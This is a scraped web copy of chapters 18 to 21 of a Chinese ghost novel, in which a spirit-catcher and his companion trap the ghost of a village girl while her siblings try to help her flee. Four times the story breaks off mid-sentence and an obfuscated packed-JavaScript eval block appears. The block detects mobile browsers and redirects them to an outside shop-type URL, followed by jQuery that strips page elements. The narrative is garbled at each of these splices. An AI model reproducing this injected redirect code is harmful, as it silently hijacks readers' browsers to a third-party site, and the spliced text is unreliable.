眨了两下眼睛后,他很快就认出了魏姻,立即兴奋地凑在阿狼耳边叭叭起来:“二哥,是那天夜里带阿福回来的夫人,我跟你讲过的,那个夫人长得可好看了,是不是?” 阿狼蹙眉捂住阿虎的嘴巴,“你不要说话。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615272|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>阿虎不太开心地仰头望望二哥的坚硬小下巴,好半天才将阿狼的手从嘴上扯开,一点不怕地问魏姻。 “夫人,你是来跟我们玩的么,阿姐她答应过我,说会经常来看我们的,你说不定很快就能看到她……” 他话还没说完,嘴又再次被阿狼给捂住了,这一次阿狼没有再像之前那样好脾气,明显是动了怒的,他狠狠地瞪住弟弟:“阿虎!” 阿虎不太愿意,要从阿狼怀里挣脱开,阿玉有点生气地叫住他:“阿虎,听二哥的话,不要再闹了,不然我们不理你了!” 闻言,阿虎不敢再动,虽然不情愿,但也只能乖乖闭了嘴。 胡大田见这几个孩子在里屋叽里呱啦说些什么,训道:“这么晚了,你们还不赶快睡?” 他交代儿子:“阿狼,今晚阿爹和这位夫人有要紧事,你带阿玉和阿虎早点睡下。” 阿狼冷淡地眼神在胡大田脸上留顿片刻,嘴唇微抿,“晓得了,阿爹。” 胡大田这才小心看向魏姻:“夫人?” 魏姻明显感觉到陆魂确实没有跟在她身边进来,有些不安地往外边张望了一眼,她再次深吸一口气,才让自己的心跳略微平静一些,便吩咐胡大田:“老伯,将屋子里的水都倒了吧,一点都不能留。” 胡大田诧异了下,颇为不解,但见魏姻一脸认真,便也不敢多想,立刻小心照做了。 等胡大田将屋里所有的水都拿了出去,魏姻又仔细查看了两遍,见连藏起来的小半坛子的酒都被拿出去倒了,这才走到阿玉他们屋里。 三个孩子并没有睡着觉,在胡大田倒水的时候都张望着看,特别是阿虎,他尤其好奇,当魏姻走进去后,他怕胡大田看到,才不得不闭上眼睛入睡。 阿狼和阿玉两张小脸面无情绪地互望一眼,才跟着闭上眼。 夜渐渐深了下来。 里屋的门关上了。 原本燠热的夜风也随着夜深之后逐渐转凉下来,魏姻坐在孩子们床边的一张藤椅上,这是胡大田新买的,今夜特意将它搬进里屋给魏姻坐,因此藤椅上还特意铺了一层崭新的被褥。 魏姻自小娇生惯养长大,望着眼前这简单垫着被褥的藤椅以及这简陋小屋,眉头皱得一下又一下的,可她又不能不待着,她小心翼翼地在藤椅上坐下去。 也不知阿珠什么时候会来,她握着脖子上的平安符,低着头思虑,隐约听到外间胡大田传来的几声动静,不过没多久,动静就没了,变成了一阵低低的鼾声,似乎是太累了睡过去了。 魏姻本来不困,但听着听着,眼皮也开始迷迷糊糊地耷拉起来。 兴许阿珠后半夜才会来,她于是干脆闭上了眼睛打会盹,准备养养精神。 然而,魏姻不知道的是,在她刚闭上眼睛没多久,床上的两个孩子偷偷蠕动了起来,是那两个双生兄妹阿狼和阿玉,他们两个居然还没有睡下,魏姻刚闭眼,这两个孩子便陡然睁开眼睛醒了过来。 19. 第 19 章 阿玉先抬起了脑袋往魏姻那边小心偷看了一眼:“二哥,那个夫人睡着了……” 阿狼也朝魏姻方向扫去一下,见她没有反应,便放心轻嗯了一声。 阿玉双眼红了起来,接着小声对阿狼说道:“二哥,阿爹他们要对阿姐……” 阿狼蹙起一对浓眉,用同样压得很低的声音赶快制止了她后面的话:“别说了,东西收起来了么?” “收起来了。”突然被打岔,阿玉一下子就将刚才要说的话给忘在了脑后,忙伸手在枕头底下摸了起来,摸出一个巴掌大的小东西,她很小心地捧给哥哥看:“方才我趁着阿爹不注意,将它藏起来了。” 小小的一只手里,正静静地躺着一个巴掌大的小糙茶壶。 阿狼将茶壶盖轻轻揭开,里面有小半壶茶水,他看了一眼,才对阿玉交代道:“你把它收好了,不要让阿爹发现。” 阿玉点头,片刻后,她又有些迟疑地开口:“二哥……阿爹说阿福前晚差点把自己淹死了……” 阿狼闻言,坚硬的小脸上好像忽然想起什么事,跟着显出一股极度的厌恶来,他很快硬声硬气地说道:“你忘了他对阿姐做过什么吗?那都是他自找的,不要说这个了。” 阿玉望着哥哥脸上厌恶又冰冷的神情,也跟着回想起了什么痛苦的记忆,自己小脸逐渐变白,不再多说,阿狼慢慢晃过神来,见阿玉小脸皱了起来,他又转头望望一旁早已经呼呼大睡的阿虎,于是伸手摸了摸阿玉的头发,大人似的放软了语气道:“阿虎都睡着了,你也快睡吧。” 阿玉拉过阿狼的手,乖巧地说:“二哥也去睡。” 这双生兄妹说话声压得很低,跟蚁蜹嗡嗡的,别人根本听不见,他们躺下去没多久,门外传来一阵很响很响的拍门声,兄妹俩听到这声音很快就要将屋里的胡大田和魏姻惊醒过来,赶紧将眼睛闭上。 魏姻陡然从藤椅上坐了起来,紧紧盯着外间方向。 守在外间的胡大田好像也一下子被这声音给惊醒了过来,烟管噗通松手掉在地上。 他们都以为是阿珠回来了。 然而,门外传来的却是胡大力和刘氏的喊声。 “大哥!出大事了——” 魏姻愣住,外间的胡大田也愣了一下,过了一会儿工夫,他才起身去开门。 魏姻从里屋走出去,看到门外站着的确实是胡大力和刘氏夫妇俩,他们去而复返了,手里还抱着他们的儿子阿福,阿福只穿着一件应该是就寝的白汗衫,两只小肉胳膊扒着刘氏粗粗短短的脖子,眼神显得还有些迷迷糊糊,呆滞地望着众人,仿佛没有睡醒的模样。 刘氏一脸的六神无主,就像是见到了什么极恐怖的东西,一看到胡大田,便胡颠颠地乱嚷起来:“大哥,可不得了可不得了!” 魏姻皱着眉头看她,胡大田更是一脸懵,问跟在刘氏身后走进来的胡大力:“大力,弟妇这是怎么回事?” 胡大力比刘氏稍微好一些,但一张丑脸同样白得没有多少血色,他看见胡大田,心神这才定下来一点,颤颤巍巍地说道:“大哥!我方才与阿福他娘回去,快到家时,就见着已经睡下的阿福一个人走了出来,起初我和阿福他娘还以为是阿福贪玩跑出来了,我们就上去拉他回去,谁知道——” 他畏怯地吞了一口唾沫,才鼓起勇气将话说完整。 “那孩子跟中了邪似的,怎么拉都不肯走,力气大得很,两眼直勾勾地盯着我和他娘,一个劲要往河那边去,可真是吓人得紧,我和他娘硬是拽了他半天,才将人给拽回来——” 胡大力的话刚说完,那边刘氏就赶紧失声大骂起来:“这一定是阿珠那个要死的丫头引着阿福去死啊!大哥!” 胡大田听到刘氏骂阿珠的话,心里头有些难受,但他却只沉默地垂下头去,他没有想到,阿珠刚刚竟然又去缠了阿福。 “是啊大哥!”胡大力抓住刘氏的话头,急切地道:“这阿珠怕是真的成厉鬼了,她这是要把我们胡家人都给害死啊,她好歹怎么说也是姓胡啊,怎么能这么心狠手辣呢?恐怕等阿福他们几个孩子被害死了,马上就要轮到我们了,轮到我们了啊!” 胡大田心乱如麻地听他们夫妇说着,一时不知道该说什好,目光恍惚掉到阿福身上,于是赶紧问道:“阿福呢?阿福怎么样了?先把阿福放里屋去睡吧。” 刘氏此时才想起来怀里的阿福,连忙走进里屋去,里屋的孩子都被吵醒了,全爬起来往外间看,除了阿虎睡得沉,没有醒来。 刘氏将阿福放到床上,乡下的夏日冷很多,晚上睡觉的时候都要盖被褥的,阿福穿得单薄,被夜风吹得浑身冰凉,刘氏看被褥都在阿狼他们身上盖着,想都没想,就将阿虎身上那床较好的褥子夺了过来直接裹在阿福身上。 阿狼和阿玉暗暗蹙起了眉头,望望一旁的胡大田,他却一心紧张地盯着阿福看,根本不注意被刘氏拿去了被褥的阿虎,阿狼目光愈发变冷,低下头去,见阿虎在睡梦里冷得找被褥,他只得将自己身上的褥子挪到弟弟身上。 胡大田又去灶房很快地弄了碗热热的姜汤过来。 刘氏喂着糊糊涂涂的阿福喝下去,阿福的瞳孔才渐渐地聚拢起来,这孩子醒过来后望着刘氏先是摸不着状况地呆了一瞬,“阿娘?” “我的儿啊,你可终于醒了!”刘氏激动地哭了。 胡大田见小侄儿醒了过来,问阿福到底发生了什么,阿福于是就老实说了出来。 他说他在房里睡觉,睡着睡着听到有一个声音在喊他,他就感觉脑子沉沉的,顺着声音往外走去,但他也不知道为什么要出去,后来的事他便不太记得了,不过,他觉得那个喊他的声音很像是阿珠姐姐的。 刘氏还没听完就嚷了起来:“这是在叫魂啊!鬼叫魂啊!” 胡大力也跟着刘氏一样怪叫起来:“大哥,就是阿珠!阿珠在叫阿福的魂呀!” 胡大田满脸痛苦地皱起眉头:“是我害的她,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615273|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有怨冲我来就是……冲我来就是……为什么要害这几个孩子,阿福跟她又无冤无仇的……” 就在这时,在一旁看了半天,没有作声的阿狼冷不丁地说道。 “是么,以前阿姐带阿福的时候,阿姐一不小心逆了阿福的意,他可是拿起手边东西就对着阿姐又打又咬的,跟二婶说,二婶反而还骂阿姐做姐姐的,不知道让着点阿福,原来,这在阿爹看来,阿福竟是一点不错的……” 胡大田猛地望向自己的二儿子,这孩子语气像是故意夹着刺似的刺着他,他感到脸颊微微发热,他暗暗瞥了眼边上的刘氏和胡大力,夫妇二人则满脸怒火瞪住阿狼,胡大田忍不住再次拢起眉头,轻声训斥道:“这都是孩子打闹罢了,阿福才多大……” 阿狼听到这话,嘴角凉凉勾住,默不作声地埋下头去。 魏姻视线在阿狼身上顿了一下,这胡大田对胡大力一家可真是尽心尽力,毕竟是人家的家事,魏姻也不好置喙什么。 魏姻在场,胡大田不愿意再就家里那点事继续说下去,便对胡大力和刘氏说道:“你们不用忧心,这位夫人会将阿珠收住,今晚你们就别回去了,在这里歇下吧,阿福就跟着阿狼他们睡。” 刘氏听到要收阿珠,下意识就要开口让魏姻将阿珠这个害人的厉鬼给灭了,忽然想起胡大田到底怜惜这个女儿,便又不敢再说了,不过总算是松了口气。 胡大田让胡大力夫妇和他一样去外间守着。 阿福留在了里屋。 这孩子跟阿虎差不多年纪,一样的不知事,还不晓得自己刚刚又差点阿珠淹死,他大咧咧的躺在床上,见着阿狼和阿玉打着哈欠要过来睡,便和刘氏似的瞪住堂兄堂姐,蛮横地推他们:“你们不许过来,太挤了,我要一个人睡!” 里屋这床,平日里三个孩子一起睡刚好,如今再多一个孩子,就会多少有一些拥挤。 阿福躺在阿狼和阿玉的位置上,却不肯让他们过来睡。 阿玉当即不高兴了,“你怎么能这样,那我和二哥睡哪?” 阿福才不管呢,“你们去地下睡!” “你!”阿玉发怒:“这又不是你的床,你凭什么不让我和二哥睡!” “我说了不让就是不让!”阿福说完,竟然直接躺在床上滚来滚去,大叫起来,“你和阿狼欺负我!欺负我!我要告诉大伯去!” “你去就去,明明是你不讲理!”阿玉气得眼眶红了,几乎要哭出来,可她意识到还有魏姻这个外人在屋里,便强忍住眼泪,“我也要去跟阿爹说!” “好了阿玉。” 阿狼拉住了阿玉的手,叹口气说:“没用的,阿爹是不愿意跟二叔二婶翻脸的,只会要你让着他,你是姑娘家,不能睡地上,去阿虎那边挤一挤吧,待会别让他再抢了阿虎的被褥。” “那二哥你呢?” “我不困,正好可以去看会书。” “二哥……” 阿玉哽咽住了。 20. 第 20 章 里屋只点着一盏油灯,阿狼就着这盏不甚明亮的灯,坐在床边的一个小几子上看起卷书来,阿玉委屈转过头去,狠狠瞪了阿福一眼,阿福朝她得意地吐吐舌头,伸长小胳膊小腿躺下去,阿玉拿他没有一点办法,只得和往常一样继续忍气吞声,掀开被褥跟阿虎勉强挤在一起睡。 魏姻第一次看到这么蛮横的孩子,不过想到他的父母是刘氏和胡大力,觉得这孩子不蛮横倒反而奇怪了。 她转过头,阿狼看的是《左传》,此刻正翻到郑伯克段于鄢的那段,书卷被翻得泛黄,显然是常常看的。 望着昏晦灯烛下看书的孩子,魏姻脑子里忽然想起了陆魂,她记得陆魂比阿狼还小一些的年纪就来了魏家读书,尤其是到了冬日,别的孩子都是轻裘暖衣,陆家贫困,他的老祖母买不起好的裘衣,只用厚厚棉袍将他裹得臃肿一个来到学堂,不过他小时候就长得好,眼眉清秀,面红齿白,倒也不显得难看,记得那时候堂姐李嫦看他好玩,还会去逗他说话,后来随着他的年纪越来越大,人也变得越来越阴郁古怪,大家也不去与他说话了。 他长大后虽这样不好接近。 但有次,魏姻记得自己把毽子踢到一个很高很高的檐上去,因那屋子年岁太久,没有怎么修葺过,不太结实,那群在她家学堂里附学的郎君们一时都不敢爬上去捡。 谁知道,这毽子方掉到屋檐上去,一阵雨就要下来了。 那个毽子是魏姻母亲生前留给她的,她一直很喜欢,这日是母亲忌日到了,她才难得拿出来玩玩。 魏姻很焦急,怕雨将母亲的毽子淋坏了,急忙让丫鬟去喊人来捡。 魏家学堂设得比较偏僻,为让人专心读书,平日里便让下人都去了前院,只留下几个小丫头们在外伺候。 一时半会也喊不到人来。 可就在这时,向来寡默的陆魂却出现了,他不知从哪里搬来个很大的木梯,那时,他还小,也就和阿狼差不多的年纪吧,搬木梯还是极费尽的。 他什么都没说,只一言不发地将木梯搬到了屋檐旁。 他瘦弱的手撑在木梯上,笨拙地,一点点地往上爬。 偶尔木梯颤了两下,底下人都看得心惊胆战,可他完全不在意,好像根本不怕被摔。 魏姻怕这孩子摔着,让大家都给他扶着木梯。 陆魂上屋檐的时候,倒还顺利,只是在拿到了毽子时,魏姻似乎听到他在上面发出一声倒吸口气的声音,不过下一秒,那个声音就被他压了下去,魏姻只以为他是爬得太高,上去后被吓到了。 他取到毽子下来。 递给魏姻。 魏姻拿到毽子仔细查看了两眼,结果一抬头,就见陆魂早已不在了,他将毽子给她拿下来后,便自己悄悄走了。 竟然一句话都没有。 陆魂在学堂里的古怪,魏姻已习惯了,她也没说什么。 直到后来回到学堂,她才注意到毽子上有血迹沾到了她的手心上。 她这才明白,那个时候陆魂发出声音,大概是捡毽子的时候,被上面的碎瓦片割到了手。 魏姻于是在他回到学堂后,让丫鬟取了点金疮药回来,连同自己的一块手帕一并给陆魂包手。 当时,陆魂轻轻抬头看了她一眼,和她递来的帕子,便默不作声地将自己被割伤的那只手藏到了身后,也没有拿她的帕子,只接过那一瓷金疮药,而后直接将头再次低低地垂了下去。 这些小时候的事,魏姻其实没什么印象了,方才看到阿狼,才突然想起来一点。 她站起身,来到窗下往外看。 今夜的月亮缩了大半边身子在云围里,外边便显得灰魆魆的一片,也看不清楚太远,更看不到陆魂的身影。 她只好将窗关上,回到藤椅上坐着。 她这会儿再也没有什么睡意,便百无聊赖地看阿狼读书,这孩子偶尔被她看得皱了皱眉头,却一言不发。 魏姻实在睡不着,就问他:“阿狼,你进学塾几年了?” 阿狼抬头冷淡凝视她一眼,一副不打算回答她的模样。 阿玉还没有睡着,这会儿听到魏姻问,便从被褥里钻出一个脑袋,替哥哥回了:“二哥没有进过学。” 魏姻一怔,“那怎么还没有进学呢?” 阿玉声音有些哀怨:“二哥本来早该进学的,但二婶他们想让阿福去,阿爹就让阿福先去了……” “那阿狼怎么看得懂这些书的?” “二哥从小就常去学塾帮老先生干活,老先生看二哥好学,便偶尔心情好会教二哥一点。” “阿玉。”阿狼老成地拧起眉头:“你快睡吧。” 阿玉听出哥哥不太愿意将家事跟外人说,也就不敢再开口了。 魏姻一听阿玉那样说,心里很快明白了过来,她也不再说什么了,只是惋惜地望了阿狼一眼。 阿玉睡着了,整个屋里也就彻底安静了下来,魏姻也靠着藤椅略闭了闭眼,没过多久,她听到传来窸窣脚步声,睁开眼看,是刘氏从外间掀开门轻轻走了进来,朝着已经睡熟的阿福走过去,应是来给阿福掖被子的。 她在阿福边上坐下,兴许是怕吵醒儿子,竟还刻意放轻声音,安静看了阿福好一会儿。 魏姻见她是来看儿子的,也就没有当回事,而她边上的阿狼却忽然暗暗抬起了脸,往刘氏身上看了好几眼,不知是注意到了什么,他眸光顿了顿,但很快又面不改色地转过了脸去,看到魏姻没有注意,他便继续埋头看书。 刘氏盯着阿福的脸看了一会儿之后,忽然抬起手将阿福身上的被褥给掀开了来,阿福迷迷糊糊地睁开眼叫了一声阿娘,刘氏没有理会他,手里的动作不停,将他从被褥里抱了起来。 魏姻看到这,这才察觉到不对劲,叫道:“你带阿福去做什么?” “我看这里也不见得安稳,我要带阿福回去睡。”刘氏静静答道。 “今夜太晚了,明早再回去。” 刘氏怀里的阿福也抱住母亲的脖颈不高兴地嚷道:“阿娘,我困,我要睡了,不回去。” “阿福乖,我们现在就回去。” 刘氏坚持道。 阿福见母亲居然不依自己,立刻在刘氏怀里手脚乱踢起来,蛮横道:“我就不回去,就不回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615274|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “你这孩子,怎么这么不听话!”刘氏生了气,凶狠地说:“你再乱动,阿娘就要打你了!” 阿福愣住了,小眼神陌生地盯了一会儿刘氏,轰隆一声就哇地哭叫了起来。 “阿娘要打我!阿娘要打我!” 魏姻皱了皱眉头,怎么突然好好的就非要回去呢? 她忽然,想起之前被迷了眼来抢她平安符的陈宣华。 她心里一紧,立刻朝着外间大喊:“胡老伯,快拦住她,别让她将阿福抱出去!” 胡大田和胡大力都坐在外边打瞌睡,听到了里面又哭又叫的动静,霎时一骨碌全弹起来,看到刘氏抱着阿福,阿福在那哭着乱喊,他们齐齐愣住,不知怎么一回事,胡大田先反应了过来,他听到魏姻的话,顾不得思虑,赶紧从刘氏手里把阿福夺了过来。 胡大力仍旧一脸懵:“阿福他娘,你这是做什么?” 刘氏怔怔睁着刻薄的眼,她说:“我要带阿福回去。” “你一个人带阿福回去做什么,也不怕被阿珠找上!”胡大力着急起来,以为她今晚被吓着了在抽疯,二话不说,拉着刘氏在一旁坐下。 “就是啊弟妇。”胡大田将阿福抱回床上哄着继续睡了,见阿狼还在看书,便让他先不要看了,赶紧去睡,等看到两个孩子都睡了下去,这才皱眉对刘氏道:“你这是怎的了?” “我……” 刘氏被强行拉住,望望众人,眼神似乎逐渐恍惚过来,她疑惑地扫一眼四周,目光却在望到里屋某个地方的时候,面容瞬间变得惊恐万分,手指颤颤巍巍指着。 “是阿……阿珠!” 魏姻背后感到一阵寒恻恻,正要转过头去看。 谁知,里屋这扇门啪地甩上了。 胡大田和胡大力刘氏他们瞬时被关在了外间。 魏姻一点点,转回头看去,在孩子们睡的床边,一身不合身喜庆嫁衣的阿珠倏地立在了那里,瘆瘆一张青白的脸。 她此时弓着腰,用鼻子在阿福、阿狼、阿玉、阿虎四个睡着了的孩子脸上一个个嗅着。 胡大田和胡大力夫妇他们不知道发生了什么,一个劲在外面推里屋的门,但他们却怎么也推不开,只得不断拍门大喊,刘氏更是急得直叫着儿子的名字。 就和之前胡大田说的那晚情况,如出一辙。 魏姻看到出现的阿珠,先是腿软了一会儿,跟着才想起陆魂,于是连忙对着窗外喊了他一声,但她的声音还没有发出来,就见着,原本睡着了的阿狼和阿玉突然扔开被褥坐了起来,他们同时急急地朝着阿珠大喊。 “阿姐,阿爹让人来收你了,快走!” 魏姻震惊地看向他们。 这两个孩子什么时候醒过来的?! 阿珠愕愕转头,似乎没有料到魏姻会出现在这里。 “阿姐,走。”阿狼见阿珠恍惚住,这孩子再次厉声提醒,这回阿珠反应过来了,她眼神清醒了些,便要朝着窗那头而去。 可当她抬起头。 陆魂撑着竹骨伞的身影,已经立在了窗边。 阿珠步步后退。 21. 第 21 章 阿珠看到出现的陆魂,身子微微瑟缩了一下,她像一只被围困的麋鹿死死瞪住陆魂,青涩面容不断扭曲起来,仿佛下一刻就会再次猛地变成一具腐败的尸身,但她很快想到什么,回头望了望阿狼和阿玉……以及熟睡的阿虎,一瞬间,又慌忙恢复了少女青涩的模样。 陆魂也顺着她的视线,朝那三个孩子看了眼。 见阿珠一直往后退着,他没有再多说什么,径自淡淡喊道:“破军。” 阿珠神色一变。 低头朝一旁的阿福脸上吐出口黑气。 阿福蓦地从床上弹了起来。 这孩子眼睛闭着,但人已经扑到了现出真身的破军剑前,双手死死地抱住了破军。 趁着这个空隙,阿珠便朝着窗那边而去。 陆魂只平静地对魏姻说了声:“平安符。” 魏姻当即就明白了过来,迅速走过去抱住阿福,阿福碰到她颈上平安符后,一下子昏睡过去。 陆魂从阿福手中抽出剑,接着,他在阿珠即将要破窗而去之前,将破军唰地一声横在了阿珠的脸前。 阿珠只得猛地停下不动了。 阿狼皱了皱眉头,他不再犹豫,对妹妹吩咐:“阿玉。” 阿玉连忙又从枕头底下将小茶壶摸了出来,她朝阿珠叫:“阿姐,我这里有水。” 魏姻满脸不可思议瞪向阿玉他们,这俩孩子究竟什么时候藏起来的?又到底想做什么? 陆魂也略微蹙眉。 阿珠马上奔过去,阿玉立刻拿起茶盖,然而阿玉很快发现,小茶壶里面的水不知什么时候竟然全泼掉了。 阿狼那张小脸也变了变色。 阿玉盯着茶壶急红了眼:“这是怎么回事……我明明小心放着的,水去了哪里?阿姐,我……” “肯定是方才阿福与我们争床时弄洒了。”阿狼冷笑。 阿珠再避无可避,陆魂没有再给她逃走的机会,也没有理会阿狼阿玉这两个孩子,将长剑再次幻化成骨伞,跟着将伞朝阿珠投去,魏姻以为阿珠会现出腐身再挣扎会儿,可不曾想,阿珠却只是急急回头去看一眼阿狼阿玉阿虎他们,似要说些什么,但话还没说出口,破军化成的竹骨伞已经将她猛地收了进去。 阿狼和阿玉齐齐大叫道:“阿姐!” - 天已经亮了,一线流油蛋黄似的日头在天边冒出头,将这户农家小屋照得亮堂起来,在外间那屋里正中的竹桌上,一个粗糙的小茶壶摆在上面,在桌边一圈,围站着胡大田、胡大力、以及刘氏,魏姻则站在一旁。 刘氏这时终于忍不住了,猛地指着阿狼阿玉的鼻子就是一顿狗血淋头的大骂:“你们两个自己想死便就算了,所幸我家阿福没有事,否则我非要你们两个好看!” 胡大力起初不敢说话,只默不作声地往大哥胡大田身上瞅上两眼,胡大田比他还沉默,到底是亲兄弟,胡大力被大哥这副样子弄得有些不忍心,等到刘氏发泄得差不多了,他立即起身劝媳妇:“阿福他娘算了吧,阿狼他们还小,不晓得什么,怕也是给阿珠迷惑了……” “迷惑?我看他们倒是一点不像被蒙了眼,就是存心的!” 刘氏说着竟还心有余悸地哭了起来,转头哀怨地对胡大田发火道:“大哥,你是真该好好管教管教这两个小娃子了,昨夜里若不是那茶壶里的水泼掉了,可不就让阿珠给跑了么,不瞒大哥你说,这两个孩子,平日里就对着我家阿福鼻子不是鼻子,眼不是眼的,特别是阿狼,当年大哥你让阿福去学塾,不让阿狼去,他便心有不满了,如今我才晓得,他们这是早看我家阿福不顺眼了,想要弄死阿福啊,真真是好歹毒的心啊……” 刘氏越说越离谱,胡大田听得脑瓜子直转筋疼,他这些天已经被阿珠的事搞得心神衰累,这会儿终于解决,他是终于安下了心,但同时想到阿珠,心里也难过得说不出话来。 阿玉是个明快的孩子,见刘氏在父亲面前乱扯,憋不住话,径自直声直气地说道:“二婶不用东拉西扯!阿爹,我和二哥只是看阿姐实在可怜,不想她被收才这样做的。” 阿狼原本面无情绪,面对着刘氏的怒火,不打算理会,阿玉开口了,他才拉过阿玉,走到胡大田面前:“阿爹,这事跟阿玉没有干系,是我的主意。” 胡大田蹙眉:“你们两个也太糊涂了,阿爹只是让人将阿珠收去化怨气罢了,不会对她怎么样的!你们差一点害了大家,也害了阿珠呀!” 阿虎睡醒了,小心翼翼站在里屋的门口望着众人,虽然听不懂二婶为什么要骂哥哥姐姐,却也鼓起勇气跑上去,小小一个身子坚定地拦在阿狼和阿玉的面前,对着胡大田哀求:“阿爹阿爹,不要骂二哥三姐了,是阿虎的错,是阿虎的错……” 阿福从屋里跑出来,他见到阿狼阿玉被骂,看得很起劲,阿虎跑过去求情,他更乐得火上添油。 “大伯,阿虎说是他的错,那你就打他好了!” 阿虎气呼呼瞪他一眼。 阿狼闻言,眼神极其冰冷地射到阿福身上,厌恶至极,阿福被对方看得直发毛,才不敢再插嘴。 胡大田叹息着望了面前的三个孩子,刘氏依旧满脸愤懑,一副非要胡大田给个说法的模样,胡大田只得说:“弟妇,阿狼阿玉他们也才十二岁,不懂什么,他们从小就是阿珠带大的,跟阿珠感情好,自然不忍心看阿珠……” “大哥!” “好了。”胡大田疲累得很:“他们还小,不知道其中利害,好在如今阿珠已经收住了,也不碍事。” 胡大力看大哥如此,便也难得好心开口了,“行了阿福他娘,你跟两个孩子较什么真,如今总算是没事了,阿福这些天受了好些惊吓,我们赶紧带他回去安安神,别吓出什么毛病来了。” 刘氏不甚满意努嘴,可胡大田和胡大力都这样说了,她还能说些什么?于是没好气地瞪了阿狼阿玉他们一眼,不甘不愿拉着阿福走了。 刘氏终于走了,胡大田跟胡大力说起魏姻要将阿珠送去普渡寺里超度的事,问他要不要一起去送阿珠一程,胡大力听了,连忙摆头,生怕胡大田让他再跟阿珠有接触,“大哥你自己去吧,昨晚阿福又受了吓,我得回去瞧瞧他。” 胡大田瞪着眼,叹口气。 阿狼和阿玉还低着头站在面前,阿虎紧张地拉着阿玉的手,胡大田挥挥手:“你们先出去吧。” 阿狼和阿玉临走前,欲言又止地朝魏姻投去目光,但还是一句话没说,牵着阿虎出去了。 魏姻若有所思地盯着阿狼那孩子老成的背影,他们真的不懂么?两个十二岁的孩子,竟然早有预谋藏起了茶壶要帮阿珠逃跑,若他们什么都不懂,只是不忍心看阿珠被收,那么,又是怎么知道阿珠沾了水就会鬼气大盛能够逃跑呢? “夫人?” 胡大田的声音唤醒了她。 魏姻看过去。 胡大田说道:“这次多亏了夫人,之前夫人说要将阿珠……送去普渡寺里超度,阿珠应该不会有事吧?” 魏姻摇摇头:“胡老伯放心,将阿珠的怨气化解后,便好了。” “那便好,那便好。”胡大田习惯紧皱的眉头终于松开了一下,他感激地要酬谢魏姻,魏姻都一一拒绝了,让胡大田先去准备好一个装阿珠的骨瓮,趁着日头还不猛,赶紧去一趟普渡寺,不然等日头完全出来了,阿珠的鬼魂便受不住在外面。 胡大田出去,魏姻推开里屋的门走进去。 那把垫了坐褥的藤椅上,正被眉目秀丽的少年坐着,陆魂低着头,安静地坐在那儿,手里捧着一卷书翻看着,眉骨因过分瘦削而显得既高又深沉,打眼一瞧,是阿狼昨夜看的那卷《左传》,破军幻剑幻化出来的竹骨伞被他随手放在了一旁,阿珠被收进去后,伞身上面隐隐有黑气丝丝缠绕,不时还不安分地震动起来,几乎要震到地上去了,陆魂却没有理会,径自专注翻看手里的书卷,一时都没有注意到魏姻的到来。 半刻过去,他才察觉到有人在身边,像从前在学堂读书时那样,下意识迷矇地朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615275|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏姻直直望了过去。 片刻后,他从书中回过神来,将书合上,极随意地递给了魏姻。 魏姻也没多想,下意识接了过来,“我让胡大田去准备了。” 陆魂嗯了一声。 魏姻回头往屋外扫了扫,依稀听到那三个孩子在外边说话,她说道:“阿狼和阿玉昨夜和阿珠似乎有点不太对劲,他们不但不怕阿珠,反而还特意藏起了水帮阿珠脱身,尤其是阿狼,一个十来岁的孩子未免也太老成了,而且,我当时发现阿珠看阿狼他们的眼神,并不像是想要他们命的样子,反而似乎还怕自己吓到他们,可他们却说是不忍心姐姐……” 陆魂静静听着她的话,并未出声,只是微微出神地望着她手里的《左传》。 许久后,他突然才回过神来似的开口,说的话却让魏姻有些摸不着头脑。 “这卷《左传》里,阿狼看过好几遍的样子,但唯独那段郑伯克段于鄢至少反复翻过几十次,因此那两页纸都有些发黑了。” 魏姻翻开陆魂说的这一段,果然注意到这两页的纸明显要比其他的更泛黄些,有些地方甚至黄中透黑了。 她瞬间想起,昨夜里她看到阿狼看的也是这一段。 陆魂继续说:“你有没有觉得,这一段,跟胡家人有些相似?” 